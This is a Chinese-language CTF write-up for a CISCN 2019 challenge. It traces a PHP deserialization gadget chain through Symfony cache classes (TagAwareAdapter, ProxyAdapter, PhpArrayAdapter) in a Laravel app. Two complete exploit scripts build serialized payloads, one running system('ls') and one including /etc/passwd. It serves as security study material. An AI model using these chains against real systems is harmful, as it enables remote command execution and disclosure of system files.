ciscn2019 laravel反序列化利用链

[toc]
这几天总想着审点反序列化的链子,结果刚好在buu上看到一道不错的题,刚好练练手。
打开页面就是简短的代码告诉我们是反序列化,然后根据提示下载下来源码。用的是laravel框架,讲实话这种框架的代码好难看懂,不懂这个index.php是怎么执行的,然后边查资料边看终于懂了一点点。

路由信息

首先要查看路由信息,所有的Laravel路由都是在routes目录下的路由文件中,这些文件通过框架自动加载。routes/web.php文件定义了web界面的路由,这些路由被分配了web中间件组,从而可以提供session和csrf防护等功能。routes/api.php中的路由是无状态的,被分配了 api 中间件组。
对大多数应用而言,都是从 routes/web.php 文件开始定义路由。

我们可以看到在web.php中自动加载了IndexController类中的index方法。明白了他为什么这样运行之后就可以开始看代码了。

反序列化利用

很明了的反序列化。
看这种反序列化一般都是直接全局搜索魔法函数,看看有没有可用的 __destruct(),__wakeup(),__toString(),__call() 等等。就先看__destruct()吧,一搜一堆,心态崩了,看了半天终于看到一个能用的,在TagAwareAdapter.php的TagAwareAdapter类里面。

__destruct调用了 commit 方法,然后 commit() 又调用了 invalidateTags() 方法,跟进这个方法。

在第125行,$this->pool->saveDeferred($item)这种可以触发__call方法,但我把__call都看了一遍发现没有可以利用的。然后想到了可以调用别的类的saveDeferred()方法。然后全局搜索了一下这个方法找到两个可用的。
第一个是在 ProxyAdapter.php 中,第二个是在 PhpArrayAdapter.php 中,分别看一下这两个方法,也对应两个exp。

ProxyAdapter.php

saveDeferred() 先调用了 dosave() 方法,然后在 dosave() 的223行,也就是红框中的部分有任意函数执行,函数名是可控的,就是 $this->setInnerItem ,函数参数也是可控的。

当满足if条件的时候,会把 $item[“\0*\0innerItem”] 的值赋给 $innerItem。再往前看

instanceof是检查一个变量是否是一个类的实例化。这个if语句就是,如果$item不是CacheItem类的实例化,就退出。只要赋值$item为CacheItem类的实例化即可。

system()有第二个参数,这个第二个参数的意思实际上是将执行结果保存到return_var变量,所以这只能是个变量名,这里把return_var的值直接放进函数里是不行的,我试了一下return_var参数是int型和数组型都可以,所以跟变量类型无关。
然后便可以写exp,要注意命名空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
namespace Symfony\Component\Cache\Adapter {
class ProxyAdapter{
private $setInnerItem;
function __construct(){
$this->setInnerItem = 'system';
}
}
}

namespace Symfony\Component\Cache {
class CacheItem{
protected $innerItem;
function __construct() {
$this->innerItem = 'ls';
}
}
}

namespace Symfony\Component\Cache\Adapter {
use Symfony\Component\Cache\CacheItem;
class TagAwareAdapter{
private $deferred = [];
private $pool;
function __construct(){
$this->deferred = array('123'=> new CacheItem());
$this->pool = new ProxyAdapter();
}
}
$a = new TagAwareAdapter();
echo urlencode(serialize($a));
}

PhpArrayAdapter.php

再来看第二个

调用了initialize()方法,跟进一下,在PhpArrayTrait类中,这里的trait是什么意思呢?

Trait 是为类似 PHP 的单继承语言而准备的一种代码复用机制。Trait 为了减少单继承语言的限制,使开发人员能够自由地在不同层次结构内独立的类中复用 method。 Trait 和 Class 组合的语义定义了一种减少复杂性的方式,避免传统多继承和 Mixin 类相关典型问题。

简单来说就是一种多继承的方式,PhpArrayTrait也就是PhpArrayAdapter的父类。当在子类中找不到方法时会自动进入父类中寻找,这也就是为什么跟进到的initialize()在PhpArrayTrait类中。
下面看一下这个方法。

中间的include参数中存在变量,存在任意文件包含。构造一下exp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
namespace Symfony\Component\Cache {
class CacheItem{
protected $innerItem;
function __construct() {
$this->innerItem = 'ls';
}
}
}

namespace Symfony\Component\Cache\Adapter {
use Symfony\Component\Cache\CacheItem;
class PhpArrayAdapter{
private $values;
private $file;
function __construct(){
$this->values = null;
$this->file = '/etc/passwd';
}

}
class TagAwareAdapter{
private $deferred = [];
private $pool;
function __construct(){
$this->deferred = array('123'=> new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
$a = new TagAwareAdapter();
echo urlencode(serialize($a));
}

结语

到这里差不多就结束了,还是太菜了,得多审点链子,多多看代码。太菜了太菜了。